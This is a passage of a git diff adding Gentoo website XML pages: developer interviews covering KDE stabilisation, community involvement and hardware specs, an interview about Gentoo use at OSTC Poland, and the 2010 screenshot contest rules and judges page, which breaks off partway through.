+Don't underestimate the ability to take any code apart and inspect it, combined
+with some form of debugging, if not gdb, then simply putting in your own print
+statements.  
+</dd>
+<dt> 
+19) Do you get to do much programming?  
+</dt> 
+<dd> 
+A lot less than I used to, but still probably on the order of 100 lines of
+code/week.  
+</dd>
+<dt> 
+20) What would be your dream job?  
+</dt> 
+<dd> 
+In some ways I'm very close to it already, as the lead developer nee
+development manager and deep-problem sysadmin for IsoHunt.com. Our ruby
+developers are like herding cats at times however, and I'd like to get more
+time to work on problems of my own choice. It is already great in that I can
+contribute to Gentoo during my work hours, as we are a 100% Gentoo shop for our
+servers. I'd certainly consider doing more Gentoo stuff on a consulting basis
+as well if the opportunity was available, as it tends to focus more on solving
+interesting problems.  
+</dd>
+<dt> 
+21) What can users do to improve Gentoo?  
+</dt> 
+<dd> 
+Read the documentation and source code, and ask intelligent questions, ideally
+with patches to at least roughly implement your ideas. Filing stable requests
+for stuff that's been around long enough would also help a lot.  
+</dd>
+<dt> 
+22) What are some of the ways LDAP is put to use in the real world.  
+</dt>
+<dd> 
+Is Gentoo not the real world? Outside of Gentoo, it's mainly good as a large
+hierarchal database, most often used as an address book and directory service
+for authentication and control. It's not always secured very well however, a
+fact that got me into trouble at one point during university - the userPassword
+field for on the address book server at the main campus wasn't restricted at
+all, you could query it from the public internet, even with Netscape's address
+book functionality. They have since fixed it.
+</dd>
+<dt> 
+23) What users would you like to recruit to become Gentoo Developers?
+</dt> 
+<dd> 
+More developers focused on small sets of packages. Look at the Debian
+maintainer system, they have more than a thousand maintainers, and their
+bleeding edge stuff actually isn't that far behind. Some with interest in
+backup applications or MySQL would go a long way to start.
+</dd>
+<dt> 
+24) Is the biggest hurdle in getting the users and developers working more
+closely, the time it takes to build trust?  
+</dt> 
+<dd> 
+Not the time that it takes to build trust, but the degree to which users don't
+realize why their proposed (crazy) solutions won't work out as nicely as they
+want. They say simply "re-enable FOO" that was disabled in the latest version
+of something by upstream, without examining the causes as to why it was
+disabled or no longer functions like it used to.  Giving detailed, but relevant
+information is highly useful as well. If it's a segfault, provide a backtrace
+with debugging, and figure out what conditions you need to reproduce a problem,
+not just your set of conditions, but what simple subset of changes trigger it.  
+</dd> 
+<dt> 
+25) What are the specs of your current boxes?  
+</dt> 
+<dd> 
+The 4 machines at home that run the most often:
+</dd> 
+<dt> 
+<b>curie</b> 
+</dt> 
+<dd> 
+<ul> 
+  <li>old old web and mail server</li> 
+  <li>AMD Athlon w/ 1GB RAM</li> 
+  <li>200GiB RAID1 disk</li>
+</ul> 
+</dd> 
+<dt> 
+<b>grubbs</b> 
+</dt> 
+<dd> 
+<ul> 
+  <li>development and testing server, will ultimately replace curie.</li> 
+  <li>Core2 Q6600 w/ 5.8 GiB of RAM (odd number due to BIOS MTRR issues)</li> 
+  <li>1.7TiB RAID5 disk</li>
+  <li>3TiB external eSATA RAID5 enclosure</li> 
+  <li>LTO3 backup tape</li> </ul>
+</dd> 
+<dt>
+<b>bohr</b>
+</dt> 
+<dd> 
+<ul> 
+  <li>desktop machine</li> 
+  <li>Core2 Q9550 w/ 16GiB RAM</li> 
+  <li>1.3TiB RAID10 disk</li> 
+</ul> 
+</dd>
+<dt>
+<b>speedracer</b>
+</dt> 
+<dd> 
+<ul> 
+  <li>1U server, in a local colocation facility</li> 
+  <li>Asus RS120-E4/PA4</li> 
+  <li>Core2 Q6600 w/ 8GiB RAM</li> 
+  <li>2TiB RAID5 disk</li> 
+  <li>Runs the Willikins bot for all of the Gentoo channels</li> 
+</ul> 
+</dd> 
+<dt>
+<b>ebadi</b>
+</dt>
+<dd> 
+<ul> 
+  <li>old Asus W5F laptop</li> 
+  <li>Core1 w/ 1.5GiB RAM</li> 
+  <li>200GiB disk</li> 
+</ul> 
+</dd> 
+<dd> 
+3ware RAID controllers on the non-laptop systems. Beyond these machines that
+run most of the time, I've also got half a dozen embedded systems of different
+architectures.  
+</dd>
+<dt> 
+26) Did the Gentoo Developers played any tricks on you when you were a rookie,
+new to the developer pool?  
+</dt>
+<dd> 
+None that I can recall, I wasn't on IRC a lot in the early days.  
+</dd>
+<dt> 
+27) What gives you the most enjoyment within the Gentoo community?
+</dt>
+<dd> 
+Definitely the Infrastructure project.  
+</dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/pr/20090918-jmbsvicetto-interview.xml b/xml/htdocs/proj/en/pr/20090918-jmbsvicetto-interview.xml
new file mode 100644
index 00000000..507ed2e1
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/20090918-jmbsvicetto-interview.xml
@@ -0,0 +1,378 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $HEADER: $ -->
+<guide>
+<title>Interview Gentoo Developer Jorge Manuel Vicetto (jmbsvicetto)</title>
+
+<author title="Author">
+  <mail link="dabbott"/>
+</author>
+
+<abstract>
+Interview with Jorge Manuel Vicetto (jmbsvicetto)
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-09-18</date>
+
+<chapter>
+<title>Interview with Jorge Manuel Vicetto (jmbsvicetto)</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p> 
+Today I am pleased to introduce to all of you, Jorge Manuel Vicetto, Gentoo
+Developer, KDE Lead, and also a member of, Forums, Sparc, UserRel, DevRel, and
+in his spare time helps run the elections. Jorge is from Terceira island in the
+Azores.
+</p>
+
+</body>
+</section>
+<section>
+<title>Jorge's Interview</title>
+<body>
+
+<p>
+Hi Jorge, thanks for the interview.
+</p>
+
+<p>
+Hi David, Thanks for asking me.
+</p>
+
+<dl>
+<dt>
+1) Is Gentoo your first open source project?
+</dt>
+<dd>
+Gentoo is my first open source project as a member. The first project I started
+giving back was SuSE in the suse-en ml, though. I've also participated in the
+translation of OpenOffice.org for Portuguese (1.1.1) and the initial work for
+2.0.
+</dd>
+<dt>
+2) How long have you been a Gentoo user?
+</dt>
+<dd>
+I've started using Gentoo around March/April 2004 (1.4b / 2004.0?). I did an
+initial installation in an x86 box and then made Gentoo Linux my main OS for my
+first AMD64 (April 2004).
+</dd>
+<dt>
+3) What has your journey been like with Linux, and how did it start?
+</dt>
+<dd>
+Looking back and realizing I've been using Linux for 14 years is an amazing
+feeling. Time does indeed fly! I first tried a Slackware release. I can no
+longer recall if it was released on floppies or CD, but I do recall the install
+included answering for each app in the release, whether to install it or not. At
+this point, I tested the release and used Linux sporadically. Later, I've used
+RedHat 4.0 and 5.2 and it was around this time I started using Linux daily. When
+I finally moved to SuSE, Linux became my main OS. I started using SuSE around
+release 6.0 and used it up to release 9.0. In the meantime, I used for work and
+testing purposes SLES 9.0 and Knoppix. At this point (SuSE 9.0), I was
+beginning to feel locked by YAST and was compiling enough packages from source,
+that I looked around. I tested Fedora Core, but wasn't happy with it. Then
+around March 2004 I tested Gentoo for the first time (1.4r1 or 2004.0). On April
+2004 I installed Gentoo into my fist AMD64 box and haven't stopped using it yet.
+I've put Gentoo into a few laptops, desktops and servers (including my Sparc
+280R). Since I started using Gentoo, I've used sysrescuecd for a few recovery
+tasks, but I haven't feel the need or urge to test any other distros. The road
+had a few bumps here and there, but it has been a fantastic journey. These days
+you'll only catch me on another OS by a work requirement. I've even stopped
+playing games on Windows as every time I start thinking on playing a game, my
+time fades away, I've also bought recently a few games from LGP, but haven't
+break away long enough to do some proper
+testing.
+</dd>
+<dt>
+4) What motivated you to become a Gentoo Developer?
+</dt>
+<dd>
+What motivated me to become a Gentoo Developer was my need to give back. Having
+used FLOSS for so long, I felt I had to give back and help others benefit from
+open source as much as I had. I started doing that by providing a very small
+contribution to the suse-en ml and it felt good to help others. When I moved to
+Gentoo, I gradually got away from the suse-en ml. At one point (27 April 2005) I
+joined the Gentoo Forums and started answering questions and trying to help
+others. Later, I also joined #gentoo, where I occasionally go look for some
+"lost souls". After a while, the kind folks at the forums started paying
+attention and invited me to be a forums global moderator - thus getting me in
+the "Mad House", pardon, the Gentoo Dev team.
+</dd>
+<dt>
+5) Walk me through the process of testing/fixing KDE for a stable release within Gentoo.
+</dt>
+<dd>
+We've started the work to get KDE-4.3.1 marked stable soon - this will be the
+first KDE-4 release marked stable on Gentoo. You can follow that work in bug
+277868[1]. So the process starts by bumping the ebuilds for a new release. We
+now use some scripts in the kde-testing overlay to help with this, but it boils
+down to checking the build scripts to check for changes between versions, review
+dependencies and then bumping the ebuilds. This starts with a diff between the
+CMakeLists.txt files between the 2 versions tarballs - upstream still releases a
+few tarballs, while Gentoo uses split ebuilds. We check for new dirs, dropped
+dirs, moved apps or libs between tarballs or Gentoo packages, add blocks when
+required and review deps. For new minor releases, updates from 4.X to 4.X+1,
+we're following the live tree and the beta / release candidate tarballs in the
+kde-testing overlay. For the initial bump for regular releases, we first add the
+ebuilds to the kde-testing overlay so that we can check the ebuilds with the
+pre-release tarballs upstream makes available to packagers and then we move the
+ebuilds to the tree just before / shortly after the release. After getting the
+ebuilds in the tree we start following and fixing bugs. When we feel a release
+is good enough, we start planning to get it marked stable. That means creating a
+tracker bug, like bug 277868[1], adding blockers to it, getting team members to
+pay attention to the open bugs and work on them and when we find the blockers
+are fixed, poking the arch teams to do the stabilization. 
+</dd>
+<dd>
+[1] <uri>https://bugs.gentoo.org/show_bug.cgi?id=277868</uri>
+</dd>
+<dt>
+6) What does the future Linux desktop look like?
+</dt>
+<dd>
+Good question. As I unfortunately left my "crystal ball" at the office, I won't
+be able to provide any "previews". All I can say is that since the FVWM/FVWM2
+days, the Linux Desktop has gone a long way. Having followed the XGL, Compiz and
+KDE4 early days and seeing how so many of the ideas, innovations and
+technologies have matured and have been merged back into X.org and other
+mainstream DEs, the future looks promising, bright and full of sizzling effects.
+</dd>
+<dt>
+7) What aspects of Gentoo do you feel the developers and maintainers have got right?
+</dt>
+<dd>
+I have to say that what attracted me more to Gentoo and what I feel are its
+strong points are the versatility/choice for the end user and its strong
+community. Gentoo embraces PERL moto of "there's more than one way to do it" and
+mostly allows users to do it their way. Use flags are a key stone for this. The
+Gentoo community is nothing if not vibrant. We have the occasional (periodic?)
+chaos, but our community is full of talented people that keep providing
+continual and engaging discussions. It's an absolute pleasure to be part of the
+Gentoo Community.
+</dd>
+<dt>
+8) What is it about Gentoo you would like to see improved?
+</dt>
+<dd>
+Gentoo as a distro has always room for improvement. Be it from some new features
+or improvements to Portage, being able to fix KDE upstream build system to
+support multiple versions in the same prefix, having more people to ensure some
+packages are shaped up and or bumped to the latest versions, getting an
+implementation for open management of tags for packages, and or streamlined
+tools for enterprise deployment of Gentoo, we have no lack of areas to improve.
+For the community, I'd love to see it grow even larger, getting even more
+engaging and having improved methods to get users more involved with the distro.
+</dd>
+<dt>
+9) What are some of the Projects within Gentoo that you enjoy contributing to?
+</dt>
+<dd>
+I've been wearing to many hats for a while now and it has been a pleasure to
+work with all the teams. I've started through the Forums and thus that has a
+"special place" in my heart. Even though I've stopped being a regular poster, I
+keep a close proximity to the team. As the KDE team Lead, KDE is the team that
+gets most of my attention, even though I'm blessed by a great team that hardly
+requires my services. We have many enthusiast members doing great work. The User
+Relations and Developer Relations teams are a strange match for me as I was
+never into "managing people" and I don't see myself as having strong "people
+skills". But somehow I keep getting involved in them and try to help the
+wonderful people in both teams. As you've said, in my "spare time", I also give
+a hand to the elections team. That is my way to help other devs focusing on
+their projects, by taking care of tasks not everyone appreciates (even though I
+must admit I really enjoy preparing and running an election).
+</dd>
+<dt>
+10) Who are some of the other developers you work with?
+</dt>
+<dd>
+This is a tricky question as I'm sure I'll forget someone, so let me start by
+apologizing to those I forget to mention. I'd like to mention from the Forums
+Wernfried (amne), Sylvain (d2_racing), Ioannis (deathing00), Dean (desultory),
+Dennis (Earthwings), Anders (kallamej), Mark (mark_alec), nixnut (nixnut),
+Maurício (pilla) and Ron (timebandit). From the KDE team Marcus (cryos), Tobias
+(keytoaster), Patrick (bonsaikitten/Dr.evil), Thomas (scarabeus), Theo
+(tampakrap) and Ben (yngwin). From the UserRel and Devrel teams I'd also like to
+mention Alec (antarus), Steve (beandog), Pettery (Betelgeuse), Denis (Calchan),
+Shyam (fox2mike), Homer (hparker), Chrissy (musikc), Lukazs (rane) and Joshua
+(tsunam).
+</dd>
+<dt>
+11) What open source software can you not live without at home and at work?
+</dt>
+<dd>
+<ul>
+<li>At home: xine, mplayer, smplayer, gqview</li>
+<li>At home/work: Firefox, Thunderbird, K3B, CUPS, OpenOffice.org, MySQL and amarok</li>
+<li>At work: rdesktop, krdc, PDF Creator, 7Zip, OCS-NG, Cacti and Nedi.</li>
+<li>I also use many, many apps from the KDE DE.</li>
+</ul>
+</dd>
+<dt>
+12) What resources have you found most helpful when troubleshooting programs?
+</dt>
+<dd>
+For my work in Gentoo, my main sources to troubleshoot issues are bugzilla,
+forums and a direct poke at a team or developer.
+</dd>
+<dt>
+13) Do you get to do much programming?
+</dt>
+<dd>
+Not really. I'm a network manager / sys admin and the only coding I do are some
+simple scripts in bash, PERL and or PHP.
+</dd>
+<dt>
+14) What would be your dream job?
+</dt>
+<dd>
+I've been working as a network manager / sys admin for 10 years. I started doing
+it for the local Nursing School and around 5 years ago I started doing it for
+the local Hospital as well. For the past year, I've been doing it solely for the
+Hospital. So my dream job? Keep being a network manager / sys admin but for a
+large floss "shop". Thus something in my current area of expertise, but on a
+perhaps larger scale, and using open source, instead of the proprietary
+solutions.
+</dd>
+<dt>
+15) What can users do to improve Gentoo?
+</dt>
+<dd>
+There are a few things users can do to improve Gentoo. One of them, "the final
+solution", is to go full circle and become a Gentoo Developer. Users should know
+that becoming a dev is a real possibility (it's within everyone's reach), but
+it's just one of the options. Gentoo can use people to test packages, submit
+bugs, preferably with patches and or write ebuilds. But we also need people
+helping to improve our docs and or translate them, people involved with upstream
+projects, people spreading the word about Gentoo and or offering / hosting
+services for Gentoo, and anyone that can come up with new and exciting ideas and
+that is willing to put the work behind them. If someone wants to know more on
+how to improve or how to participate in Gentoo, feel free to poke me at IRC
+(freenode and oftc networks) or mail me nickname@gentoo.org. One can also
+contact recruiters at recruiters@gentoo.org and the User Relations team at
+#gentoo-userrel (IRC) or userrel@gentoo.org.
+</dd>
+<dt>
+16) What are some of the most difficult things to configure on a new install?
+</dt>
+<dd>
+I've been using Gentoo for so long, that I'm not the best person to ask that. In
+any case, I'd expect getting some wireless cards to work and understanding use
+flags might be some of the most difficult tasks for someone doing the first
+install. Oh, and for some reason, some people seem to have a hard time with GRUB
+- that was one of my main source of posts in the Forums (you can find a "few"
+posts by me in the old GRUB threads).
+</dd>
+<dt>
+17) What are some tips you can give users if they want to become more involved,
+and create relationships with the current developers?
+</dt>
+<dd>
+I'd say the most important tip is for users not to be afraid and to try and
+reach current developers. In my experience, Gentoo devs are pretty open and be
+it through bugzilla, mail or irc, you should be able to reach them. Gentoo has a
+very strong IRC presence and many teams coordinate their work in their IRC
+channels. For instance, the KDE team most active communication channel is
+#gentoo-kde. Be warned though, that not all devs do IRC. Some use mail
+preferably. After you start engaging devs and if you like and get to help a herd
+or arch team, you may be granted commit privs on an overlay or be invited to
+become an AT/HT. This is an excellent way to later become a dev. I'd suggest
+reading:
+</dd>
+<dd>
+<uri>http://dev.gentoo.org/~jmbsvicetto/recruiting/default-recruiters.txt</uri>.
+</dd>
+<dt>
+18) What are the specs of your current boxes?
+</dt>
+<dt>
+Laptop:
+</dt>
+<dd>
+<ul>
+  <li>Core2Duo T7700 (2.4 GHz)</li>
+  <li>4GB RAM</li>
+  <li>2 * 160GB</li>
+  <li>RTL8169 (1000T)</li>
+  <li>IWL3945 ABG</li>
+  <li>nVidia 8600GM</li>
+</ul>
+</dd>
+<dt>
+Build box:
+</dt>
+<dd>
+<ul>
+  <li>Core2Quad Q8200 (2.33 GHz)</li>
+  <li>4GB RAM (I plan to upgrade to 8GB)</li>
+  <li>160GB + 250GB (will move to 2 * 1TB soon)</li>
+  <li>RTL8169 (1000T)</li>
+  <li>ATI Radeon HD4350</li>
+</ul>
+</dd>
+<dt>
+Rented server:
+</dt>
+<dd>
+<ul>
+  <li>2 * Xeon X3220 (2.4 GHz)</li>
+  <li>768MB</li>
+  <li>25GB</li>
+  <li>1000 GB transfer</li>
+</ul>
+</dd>
+<dd>
+The server runs my IRC bot and I'm planning to host some services on it.
+</dd>
+<dd>
+I also have a SPARC 280R, but it's mostly turned off as I'm having a few heating
+issues with it and I haven't looked for spare parts yet.
+</dd>
+<dt>
+19) What are you currently working on and or plan to work on soon?
+</dt>
+<dd>
+In the last few weeks, I've been focusing on the 10.0 livedvd and I want to pay
+some attention to PMS soon. I've finally learned how to use catalyst and have
+been working on specs with many others for the 10.0 livedvd. I've built a few
+snapshots here for amd64 and x86 and have been paying particular attention to
+KDE and getting kdm to do automatic logins (already working). We've got
+reasonably stable specs now and will start focusing on testing the apps in the
+dvd in the next days. I plan to pay some attention to PMS soon as this project
+seems to be consuming most of the Gentoo community time in the mls and lately
+seems to have been stalled to a grind. I'm concerned about the decision process
+for PMS and the way progress is being tied to EAPIs, even for issues that are
+not directly related to ebuilds.
+</dd>
+<dt>
+20) What gives you the most enjoyment within the Gentoo community.
+</dt>
+<dd>
+Being able to have very fulfilling discussions with a myriad of intelligent and
+passionate individuals. I have and keep learning much from my interactions with
+this fantastic community. One small testament about Gentoo and its community
+that I'd like to make is to note that in November 2003, before starting to use
+Gentoo I got the LPIC level 2 certification. Today, I have no doubt I've learned
+more about Linux and open source software since then, than in all the years
+before.
+</dd>
+<dd>
+Thank you David for inviting me and for bearing with me.
+</dd>
+<dd>
+You are welcome :)
+</dd>
+</dl>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/pr/20090929-interview-patryk-ostc.xml b/xml/htdocs/proj/en/pr/20090929-interview-patryk-ostc.xml
new file mode 100644
index 00000000..d4cdcb42
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/20090929-interview-patryk-ostc.xml
@@ -0,0 +1,217 @@
+<?xml version='1.0'?>
+
+<!DOCTYPE news SYSTEM "/dtd/guide.dtd">
+
+<news gentoo="yes" category="gentoo">
+
+<!-- Enter your name here -->
+<poster>quantumsummers</poster>
+
+<!-- Date to be displayed -->
+<date>2009-09-29</date>
+<title>An interview with Patryk Rządziński, head of IT at OSTC Poland.</title>
+
+<body>
+
+<p>
+<b>
+Global Financial Derivatives trading company, <uri link="http://www.ostc.pl">OSTC
+	Poland</uri>, uses Gentoo Linux in significant sectors of its IT
+infrastructure. We spoke with long time Gentoo user and head of OSTC Poland's IT
+department, Patryk Rządziński, to learn more about how and where Gentoo is used.
+We discovered, as you will read in the full interview, that Gentoo, and more
+generally open source software, serves well in the commercial world.
+</b>
+</p>
+
+<p>
+<b>
+Hi Patryk, thanks for taking the time out of your busy schedule to talk with us.
+Please tell us about yourself and your experiences with Gentoo.
+</b>
+</p>
+
+<p>
+My name is Patryk Rządziński, I'm a Gentoo user since about 2003. I'm currently
+employed as a head of IT in <uri link="http://www.ostc.pl">OSTC Poland</uri>, the first
+and largest proprietary derivatives trading company in Poland. Despite still
+being a rather young company, they show vast interest in open source solutions
+and new technology and that attracted me to it like a bee to honey :-). As I had
+the opportunity to introduce Gentoo Linux into this company, replacing some
+Debians and Ubuntus.
+</p>
+
+<p>
+Gentoo was the first Linux distribution I tried, at the beginning for personal
+use on a desktop system. Switching from windows 2003 to Linux wasn't easy, but
+all it needed was time. Gentoo is often described as a "hard distro", which lead
+me to thinking that if I learn it properly, I should have no problems with other
+popular distributions. Surprisingly, following the handbook got me to a working
+operating system without any problems, chapeau bas before the authors of all
+Gentoo documentation!
+</p>
+
+<p>
+A couple of years later I got the opportunity to try out other distributions at
+my current employer's office. There were quite some servers with Debian on
+board, however using them seemed to me like a huge step back, having some
+glitches I will describe later on. There were also servers based on Ubuntu,
+however the "Linux with Windows-like problems" term seems to describe them in
+the best way. Generally I'm still having a couple of Ubuntu servers simply
+because they run on very old hardware and compiling sources would be plainly a
+loss of time, while their role is not so significant.
+</p>
+
+<p>
+<b>
+When did OSTC start using Gentoo?
+</b>
+</p>
+
+<p>
+It was a couple of months after I started working in OSTC. Before that I have
+been using Gentoo on my desktop for about 4 years. Starting early 2008 I have
+gradually moved various servers to Gentoo in the company. At this point we are
+using Gentoo unless an ISV requires a specific OS.
+</p>
+
+<p>
+On servers with 3-4 GB of RAM or more, we choose the amd64 arch. On other
+machines the choice is the regular x86 arch. In some cases we are using the
+unmasked arches for testing purposes of upcoming releases, before they reach the
+stable arch.
+</p>
+
+<p>
+Right now we have 22 machines with Gentoo Linux on board serving various
+purposes, including regular Internet services, VoIP, application servers and
+even some desktops. Moving services from Debian to Gentoo was a result of many
+issues I had with the former:
+</p>
+
+<ul>
+<li>
+Debian layout organization obscurity: after a longer while I realized some
+packages have their default configuration files in separate packages! Also,
+after getting used to work with portage, apt-get seemed just wrong in most ways.
+Using, managing and modifying ebuilds makes the work clean, fast and very
+convenient for deploying to other servers and users.
+</li>
+<li>
+Another thing was installing a bit more uncommon package from the tree. It would
+require finding a specific repository, dealing with dependencies and so on,
+without too much ability to manage the things in the same time.
+</li>
+<li>
+Then there are changes to the kernel and all that comes with it,  finding the
+sources, getting all that is needed to compile it (compilation must be seen some
+as heresy, eternally hated by Debian users). This all is done very simply on
+Gentoo, in a very elegant way
+</li>
+<li>
+Apart from that, running a precompiled distribution (i386) on a modern hardware
+seems to be throwing money away, as compilation allows for some good fine tuning
+(not to be mistaken with ricing) and thus using the full potential from our
+newly bought hardware. Then there are also the USE flags a simple yet sufficient
+and developer dependent way to manage all the configure switches. Also, when
+dealing with system installation, they let the admin prepare an environment with
+possibly the smallest amount of packages and allow tracking their number very
+easily.  
+</li>
+<li>
+Tools like revdep-rebuild, portage replacements like paludis, eix, gentoolkit,
+genutils, are all very useful packages making a happy admin!
+</li>
+<li>
+Last but not least, community and documentation. I've met very knowledgeable
+people here with an amazingly in depth knowledge of computer science and the way
+they deal with the OS, troubleshoot problems. In the contrary, for any issue I
+had with Ubuntu, the solution given by the community was "did you try
+rebooting?".
+</li>
+</ul>
+
+<p>
+<b>
+Does OSTC use open source software(OSS) in other capacities, what are they?
+</b>
+</p>
+
+<p>
+Yes, whenever there is a fine and stable FOSS concurrent solution to a
+commercial one, we always prefer the FOSS, even if it means less support and
+more work or workarounds. A perfect example here is voice communication.
+</p>
+
+<p>
+<b>
+What OSS projects do you use regularly at work?
+</b>
+</p>
+
+<p>
+That would be everything our non-IT staff uses, in example Mozilla Firefox,
+Thunderbird and OpenOffice.org, which are fine replacements for other popular
+non-FOSS software, having most of the popular protocols implemented much better
+to be honest (Will Outlook ever implement IMAP properly? :>).
+</p>
+
+<p>
+<b>
+Why did OSTC switch from Windows to Linux?
+</b>
+</p>
+
+<p>
+The main reason would be cost and efficiency. There is no point in paying for a
+Windows license if we need to run a single, stable service on a machine we would
+like to avoid rebooting. Linux in general was the immediate answer. Nevertheless
+mind you that Gentoo was not the first Linux distribution in OSTC. There was
+Debian and Ubuntu. 
+</p>
+
+<p>
+<b>
+What have been some of the difficulties you have experienced with Gentoo?
+</b>
+</p>
+
+<p>
+There were of course hard times with Gentoo, however most of the time they were
+unrelated to the distribution itself. For example I had trouble getting asterisk
+to compile while using a recent kernel, however tracking down bugzilla allowed
+me to find the recent changes in the kernel, which were causing trouble here and
+add a couple of sed lines to modify the asterisk sources accordingly.
+</p>
+
+<p>
+If there are a couple of things I am not that fond of in Gentoo, that would be
+the main tree ebuild releases. For example, a Firefox ebuild released twice in a
+day points that the first one had something overlooked and the user has to
+recompile it twice. There were also ebuilds with wrong checksums, or with
+patches that couldn't apply. It is most probably a matter of quality having to
+be over quantity, however this is rather insignificant and easily fixed even by
+home Linux user. The real challenge would be dealing with the social issues
+between Gentoo developers, which could give Gentoo a more professional look and
+thus get more support from companies. As a feature request I'd still like a
+modern Gentoo organized Linux with binary packages, for the sake of utilizing
+older hardware, however this need will obviously become less important with
+time.
+</p>
+
+<p>
+<b>
+Thanks again for taking the time to discuss your personal and commercial
+experiences with Gentoo. Do you have any further remarks?
+</b>
+</p>
+
+<p>
+To conclude here I'd like to encourage all admins to at least give Gentoo a try,
+if they value their time, and like their systems neat and nice. I'm personally
+very satisfied with my systems on Gentoo.
+</p>
+
+</body>
+
+</news>
diff --git a/xml/htdocs/proj/en/pr/2010-screenshot-contest.xml b/xml/htdocs/proj/en/pr/2010-screenshot-contest.xml
new file mode 100644
index 00000000..975eec22
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/2010-screenshot-contest.xml
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/2010-screenshot-contest.xml,v 1.8 2010/06/18 01:02:48 dabbott Exp $ -->
+
+<guide>
+<title>Gentoo Screenshot Contest 2010</title>
+
+<author title="Author">
+  <mail link="hwoarang"/>
+</author>
+<author title="Author">
+  <mail link="dabbott"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+Gentoo Screenshot Contest Number Three
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2010-06-17</date>
+
+<chapter>
+<title>History</title>
+<section>
+<title>2009 Screenshot Contest</title>
+<body>
+
+<p>
+After the success of the <uri link="2009-screenshot-winners.xml">2009 Screenshot
+	Contest</uri> the Contest Team is doing it again!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>General information</title>
+<section>
+<title>Disclaimer</title>
+<body>
+
+<p>
+The screenshots submitted are contributed by various Gentoo users and
+developers. Upon request of further details on a specific screenshot, one may
+try to locate the author in #gentoo channel on the Freenode IRC network or in
+our <uri link="http://forums.gentoo.org">Gentoo Forums</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Judges</title>
+<body>
+
+<p>
+The <uri link="2010-screenshot-judges.xml">Judges</uri> will consist of two
+active developer's and three independent Gentoo users, who soon we hope to be
+part of the developer pool.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Submission Rules</title>
+<body>
+
+<p>
+The following rules apply to this contest:
+</p>
+
+<ol>
+  <li>
+	The image resolution must be strictly between 1024x600 and 1920x1200 pixels.
+  </li>
+	<li>
+	The images must be in 'png' format</li>
+  <li>
+	One must prove the origin of their screenshot being from a Gentoo Linux
+	machine. For this, an open terminal with <c>emerge --info |head -n 1</c>
+	output and include this in your screenshot.
+  </li>
+</ol>
+
+</body>
+</section>
+<section>
+<title>Contest Details</title>
+<body>
+
+<ol>
+	<li>
+	Gentoo Users, Developers, and Staffers may all submit screenshots.
+	</li>
+	<li>
+	No more than three screenshots per contestant.
+	</li>
+	<li>
+	The top three  screenshots selected by the judges will be posted on the <uri
+		link="/main/en/shots.xml">Main Gentoo Linux Screenshots  page.</uri>
+	</li>
+	<li>
+	Here we will compare the current screenshots with screenshots from days gone
+	by.
+	</li>
+	<li>
+	The submission deadline is July 31, 2010 (2010-07-31) and the winner will be
+	announced on August 10, 2010 (2010-08-10)
+	</li>
+</ol>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>How to submit your screenshot</title>
+<section>
+<body>
+
+<p>
+<b>By submitting your screenshot you agree to the terms under the <uri
+link="http://creativecommons.org/licenses/by-sa/2.5/">Creative Commons -
+Attribution / Share Alike license.</uri></b>
+</p>
+
+<p>
+Please provide the following information in your submission e-mail:
+</p>
+
+<ol>
+  <li>
+	Username (if you have any, on the Gentoo Forums or IRC so that the other users
+	may contact you if needed)
+  </li>
+	<li>
+	Name (optional)
+	</li>
+  <li>
+	Provide details (links, resources etc.) of your screenshot components such as
+	themes, icons, wallpaper, applications, etc.
+  </li>
+  <li>
+	Please provide the specs of your box, we love specs!
+  </li>
+</ol>
+
+<p>
+	Here is a <uri
+		link="http://dev.gentoo.org/~dabbott/pr/2010-shot-sample-ballot.txt">
+		sample ballot</uri> that you may use for your guide.
+</p>
+
+<p>
+<b>Screenshots should be mailed to <mail link="screenshots@gentoo.org">Gentoo
+		Screenshot Contest 2010</mail></b>
+</p>
+
+<p>
+If you would like to check out the current screenshots, head over to the <uri
+	link="http://picasaweb.google.com/Markos.Chandras/GentooScreenshotContest2010#">Gentoo
+	Screenshot Contest 2010 Web Album.</uri>
+</p>
+
+<p>
+<uri link="http://forums.gentoo.org/viewtopic-t-830956.html">Discuss this!</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/pr/2010-screenshot-judges.xml b/xml/htdocs/proj/en/pr/2010-screenshot-judges.xml
new file mode 100644
index 00000000..7b3c367f
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/2010-screenshot-judges.xml
@@ -0,0 +1,252 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/2010-screenshot-judges.xml,v 1.5 2010/06/18 19:15:46 dabbott Exp $ -->
+<!DOCTYPE news SYSTEM "/dtd/guide.dtd"> <news gentoo="yes" category="gentoo">
+
+<!-- Enter your name here -->
+<poster>dabbott</poster>
+
+<!-- Date to be displayed - usually the GWN release date -->
+<date>2010-06-17</date>
+
+<!-- Title of the news item - don't forget to change the date -->
+<title>Judges For The 2010 Screenshot Contest</title>
+
+<body>
+
+<!-- Alter to your own likings -->
+
+<p> 
+There will be five judges that will decide the three winning screenshots for
+this years contest. Winners will recieve bragging rights on irc and the forums.  
+</p>
+
+<p>
+<b>Introducing The Judges</b>
+</p>
+
+<table>
